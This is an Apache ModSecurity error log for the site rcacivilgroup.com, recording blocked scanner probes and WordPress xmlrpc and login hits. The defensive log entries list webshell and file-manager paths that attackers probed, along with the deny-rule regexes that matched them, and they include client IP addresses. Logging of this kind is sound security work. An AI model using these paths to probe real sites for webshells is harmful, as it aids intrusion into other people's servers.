[Fri Nov 21 02:57:58.526636 2025] [:error] [pid 13805:tid 13823] [client 74.176.63.146:20466] [client 74.176.63.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/zaza.php"] [unique_id "aR9ktlurU5-GZdwKvr7n4wAAAU8"]
[Fri Nov 21 02:57:58.769538 2025] [:error] [pid 13536:tid 13732] [client 74.176.63.146:20467] [client 74.176.63.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/acme-challenge/myip.php"] [unique_id "aR9ktqwnCU8z6PX3-ZnULAAAAIU"]
[Fri Nov 21 02:57:59.019444 2025] [:error] [pid 13536:tid 13747] [client 74.176.63.146:20372] [client 74.176.63.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/acme-challenge/myip.php"] [unique_id "aR9kt6wnCU8z6PX3-ZnULgAAAJQ"]
[Fri Nov 21 02:57:59.266770 2025] [:error] [pid 13536:tid 13730] [client 74.176.63.146:20452] [client 74.176.63.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/acme-challenge/myip.php"] [unique_id "aR9kt6wnCU8z6PX3-ZnUMAAAAIM"]
[Fri Nov 21 02:57:59.527936 2025] [:error] [pid 13506:tid 13690] [client 74.176.63.146:20426] [client 74.176.63.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/acme-challenge/myip.php"] [unique_id "aR9kt6TbGYpGB-467xZqOgAAABQ"]
[Fri Nov 21 02:57:59.858710 2025] [:error] [pid 28937:tid 28953] [client 74.176.63.146:20451] [client 74.176.63.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/htaccess.php"] [unique_id "aR9kt_tbT10GL1y3DOaUuAAAAM4"]
[Fri Nov 21 02:58:00.177892 2025] [:error] [pid 28937:tid 28942] [client 74.176.63.146:20352] [client 74.176.63.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/htaccess.php"] [unique_id "aR9kuPtbT10GL1y3DOaUuQAAAMM"]
[Fri Nov 21 02:58:00.787821 2025] [:error] [pid 13805:tid 13813] [client 74.176.63.146:20444] [client 74.176.63.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/htaccess.php"] [unique_id "aR9kuFurU5-GZdwKvr7n6wAAAUU"]
[Fri Nov 21 02:58:01.027282 2025] [:error] [pid 28937:tid 28943] [client 74.176.63.146:20431] [client 74.176.63.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/htaccess.php"] [unique_id "aR9kuftbT10GL1y3DOaUugAAAMQ"]
[Fri Nov 21 02:58:01.266380 2025] [:error] [pid 13522:tid 13708] [client 74.176.63.146:20456] [client 74.176.63.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/readme.php"] [unique_id "aR9kuaOM9BReD2C3mbL-EAAAAEg"]
[Fri Nov 21 02:58:01.531645 2025] [:error] [pid 13805:tid 13810] [client 74.176.63.146:20473] [client 74.176.63.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/readme.php"] [unique_id "aR9kuVurU5-GZdwKvr7n7QAAAUI"]
[Fri Nov 21 02:58:01.807977 2025] [:error] [pid 13536:tid 13739] [client 74.176.63.146:20376] [client 74.176.63.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/readme.php"] [unique_id "aR9kuawnCU8z6PX3-ZnUMwAAAIw"]
[Fri Nov 21 02:58:02.105460 2025] [:error] [pid 13536:tid 13740] [client 74.176.63.146:20374] [client 74.176.63.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/readme.php"] [unique_id "aR9kuqwnCU8z6PX3-ZnUNAAAAI0"]
[Fri Nov 21 02:58:02.425766 2025] [:error] [pid 28937:tid 28952] [client 74.176.63.146:20450] [client 74.176.63.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Cok.php"] [unique_id "aR9kuvtbT10GL1y3DOaUvAAAAM0"]
[Fri Nov 21 02:58:02.678906 2025] [:error] [pid 13805:tid 13812] [client 74.176.63.146:20433] [client 74.176.63.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Cok.php"] [unique_id "aR9kulurU5-GZdwKvr7n8gAAAUQ"]
[Fri Nov 21 02:59:46.589234 2025] [:error] [pid 28937:tid 28945] [client 192.248.56.1:59642] [client 192.248.56.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.248.56.1, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR9lIvtbT10GL1y3DOaV9gAAAMY"], referer: http://rcacivilgroup.com
[Fri Nov 21 03:02:18.499206 2025] [:error] [pid 13536:tid 13737] [client 116.193.190.94:52418] [client 116.193.190.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 116.193.190.94, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR9luqwnCU8z6PX3-ZnVxAAAAIo"], referer: http://rcacivilgroup.com
[Fri Nov 21 03:12:13.131799 2025] [:error] [pid 13805:tid 13826] [client 120.78.88.119:59844] [client 120.78.88.119] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 120.78.88.119, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR9oDVurU5-GZdwKvr7uJQAAAVI"], referer: http://rcacivilgroup.com
[Fri Nov 21 03:17:11.246273 2025] [:error] [pid 58380:tid 58425] [client 192.248.56.1:33698] [client 192.248.56.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.248.56.1, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR9pN1yamXgzwElAbmXWUwAAAEs"], referer: http://rcacivilgroup.com
[Fri Nov 21 03:27:01.779074 2025] [:error] [pid 30307:tid 30354] [client 159.65.158.125:34956] [client 159.65.158.125] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.65.158.125, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR9rhahfN46RhDJ_qThZyQAAAFA"], referer: http://rcacivilgroup.com
[Fri Nov 21 03:31:28.338528 2025] [:error] [pid 60943:tid 61031] [client 182.42.111.213:35606] [client 182.42.111.213] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aR9skBd1tgwATH4XmkxABAAAAJg"]
[Fri Nov 21 03:36:49.422386 2025] [:error] [pid 61039:tid 61060] [client 159.65.158.125:38416] [client 159.65.158.125] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.65.158.125, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR9t0ZrxEuyMb8oBWwGGxgAAANA"], referer: http://rcacivilgroup.com
[Fri Nov 21 04:08:57.630285 2025] [:error] [pid 13412:tid 13438] [client 173.236.218.94:57582] [client 173.236.218.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.236.218.94, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR91WX3-knz3ZB6HogGWMQAAANU"], referer: http://rcacivilgroup.com
[Fri Nov 21 04:11:25.222728 2025] [:error] [pid 13412:tid 13438] [client 103.218.122.203:44090] [client 103.218.122.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.218.122.203, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR917X3-knz3ZB6HogGW6AAAANU"], referer: http://rcacivilgroup.com
[Fri Nov 21 04:13:48.756217 2025] [:error] [pid 13326:tid 13367] [client 89.46.106.152:37732] [client 89.46.106.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.46.106.152, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR92fNh942-HkDIkOWrI4QAAAEk"], referer: http://rcacivilgroup.com
[Fri Nov 21 04:16:15.918952 2025] [:error] [pid 13325:tid 13336] [client 209.38.230.167:39492] [client 209.38.230.167] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.38.230.167, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR93DyBUXj9tD75On3CK1AAAAAY"], referer: http://rcacivilgroup.com
[Fri Nov 21 04:28:05.474288 2025] [:error] [pid 51434:tid 51444] [client 50.225.46.13:36472] [client 50.225.46.13] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.225.46.13, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR951fU96liplEDkw_TMpwAAAQg"]
[Fri Nov 21 04:28:27.753097 2025] [:error] [pid 51434:tid 51459] [client 122.51.207.51:34486] [client 122.51.207.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.51.207.51, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR956_U96liplEDkw_TM1AAAARc"], referer: http://rcacivilgroup.com
[Fri Nov 21 04:30:54.989449 2025] [:error] [pid 51434:tid 51443] [client 103.218.122.203:57498] [client 103.218.122.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.218.122.203, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR96fvU96liplEDkw_TNvQAAAQc"], referer: http://rcacivilgroup.com
[Fri Nov 21 04:38:12.329395 2025] [:error] [pid 51434:tid 51455] [client 135.125.183.119:45280] [client 135.125.183.119] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 135.125.183.119, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR98NPU96liplEDkw_TRDwAAARM"], referer: http://rcacivilgroup.com
[Fri Nov 21 04:47:51.465764 2025] [:error] [pid 51434:tid 51446] [client 103.124.95.168:45464] [client 103.124.95.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.124.95.168, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR9-d_U96liplEDkw_TWsgAAAQo"], referer: http://rcacivilgroup.com
[Fri Nov 21 04:50:18.488061 2025] [:error] [pid 13412:tid 13434] [client 178.239.147.108:35086] [client 178.239.147.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.239.147.108, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR9_Cn3-knz3ZB6HogGpjwAAANE"], referer: http://rcacivilgroup.com
[Fri Nov 21 05:02:27.244736 2025] [:error] [pid 13325:tid 13353] [client 113.192.8.160:41012] [client 113.192.8.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 113.192.8.160, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR-B4yBUXj9tD75On3CYgQAAABc"], referer: http://rcacivilgroup.com
[Fri Nov 21 05:07:16.285612 2025] [:error] [pid 13412:tid 13425] [client 20.203.75.63:2940] [client 20.203.75.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.203.75.63, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR-DBH3-knz3ZB6HogGulQAAAMg"], referer: http://rcacivilgroup.com
[Fri Nov 21 05:09:42.832859 2025] [:error] [pid 51434:tid 51438] [client 192.248.56.1:46070] [client 192.248.56.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.248.56.1, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR-DlvU96liplEDkw_TfuQAAAQI"], referer: http://rcacivilgroup.com
[Fri Nov 21 05:12:09.830660 2025] [:error] [pid 51434:tid 51457] [client 103.211.200.34:36896] [client 103.211.200.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.211.200.34, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR-EKfU96liplEDkw_TglAAAARU"], referer: http://rcacivilgroup.com
[Fri Nov 21 05:31:14.944858 2025] [:error] [pid 13326:tid 13376] [client 185.251.19.165:28951] [client 185.251.19.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aR-Ioth942-HkDIkOWrhXwAAAFI"]
[Fri Nov 21 05:31:20.754061 2025] [:error] [pid 13327:tid 13389] [client 136.144.42.247:58225] [client 136.144.42.247] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aR-IqPBXf-8B6mFkLeOV6gAAAIQ"]
[Fri Nov 21 05:31:31.000998 2025] [:error] [pid 51434:tid 51438] [client 185.251.19.200:64315] [client 185.251.19.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.rcacivilgroup.com"] [uri "/tinyfilemanager.php"] [unique_id "aR-Is_U96liplEDkw_ToQAAAAQI"]
[Fri Nov 21 05:31:37.190282 2025] [:error] [pid 51434:tid 51448] [client 185.251.19.191:53253] [client 185.251.19.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/index.php"] [unique_id "aR-IufU96liplEDkw_ToWQAAAQw"]
[Fri Nov 21 05:31:47.467253 2025] [:error] [pid 51434:tid 51459] [client 136.144.42.244:52645] [client 136.144.42.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aR-Iw_U96liplEDkw_ToeAAAARc"]
[Fri Nov 21 05:31:50.348146 2025] [:error] [pid 13325:tid 13340] [client 185.251.19.188:59083] [client 185.251.19.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aR-IxiBUXj9tD75On3CfZwAAAAo"]
[Fri Nov 21 05:31:51.324968 2025] [:error] [pid 13325:tid 13354] [client 185.251.19.189:46699] [client 185.251.19.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aR-IxyBUXj9tD75On3CfagAAABg"]
[Fri Nov 21 05:31:52.200245 2025] [:error] [pid 13412:tid 13435] [client 185.251.19.164:31559] [client 185.251.19.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aR-IyH3-knz3ZB6HogG2FAAAANI"]
[Fri Nov 21 05:31:53.133936 2025] [:error] [pid 13326:tid 13374] [client 185.251.19.182:46549] [client 185.251.19.182] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aR-Iydh942-HkDIkOWrhpAAAAFA"]
[Fri Nov 21 05:31:54.061860 2025] [:error] [pid 51434:tid 51439] [client 185.251.19.175:57675] [client 185.251.19.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aR-IyvU96liplEDkw_ToiwAAAQM"]
[Fri Nov 21 05:31:56.083109 2025] [:error] [pid 13412:tid 13418] [client 185.251.19.182:47791] [client 185.251.19.182] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aR-IzH3-knz3ZB6HogG2GwAAAME"]
[Fri Nov 21 05:31:59.451765 2025] [:error] [pid 13326:tid 13380] [client 185.251.19.182:30941] [client 185.251.19.182] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.rcacivilgroup.com"] [uri "/filemanager.php"] [unique_id "aR-Iz9h942-HkDIkOWrhxAAAAFY"]
[Fri Nov 21 05:32:03.732311 2025] [:error] [pid 51434:tid 51446] [client 185.251.19.194:56007] [client 185.251.19.194] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aR-I0_U96liplEDkw_TougAAAQo"]
[Fri Nov 21 05:32:05.767963 2025] [:error] [pid 13412:tid 13417] [client 185.251.19.197:43511] [client 185.251.19.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aR-I1X3-knz3ZB6HogG2OgAAAMA"]
[Fri Nov 21 05:32:08.724901 2025] [:error] [pid 13326:tid 13378] [client 185.251.19.201:56197] [client 185.251.19.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aR-I2Nh942-HkDIkOWrhzwAAAFQ"]
[Fri Nov 21 05:32:19.357659 2025] [:error] [pid 13326:tid 13369] [client 185.251.19.169:36869] [client 185.251.19.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aR-I49h942-HkDIkOWrh8gAAAEs"]
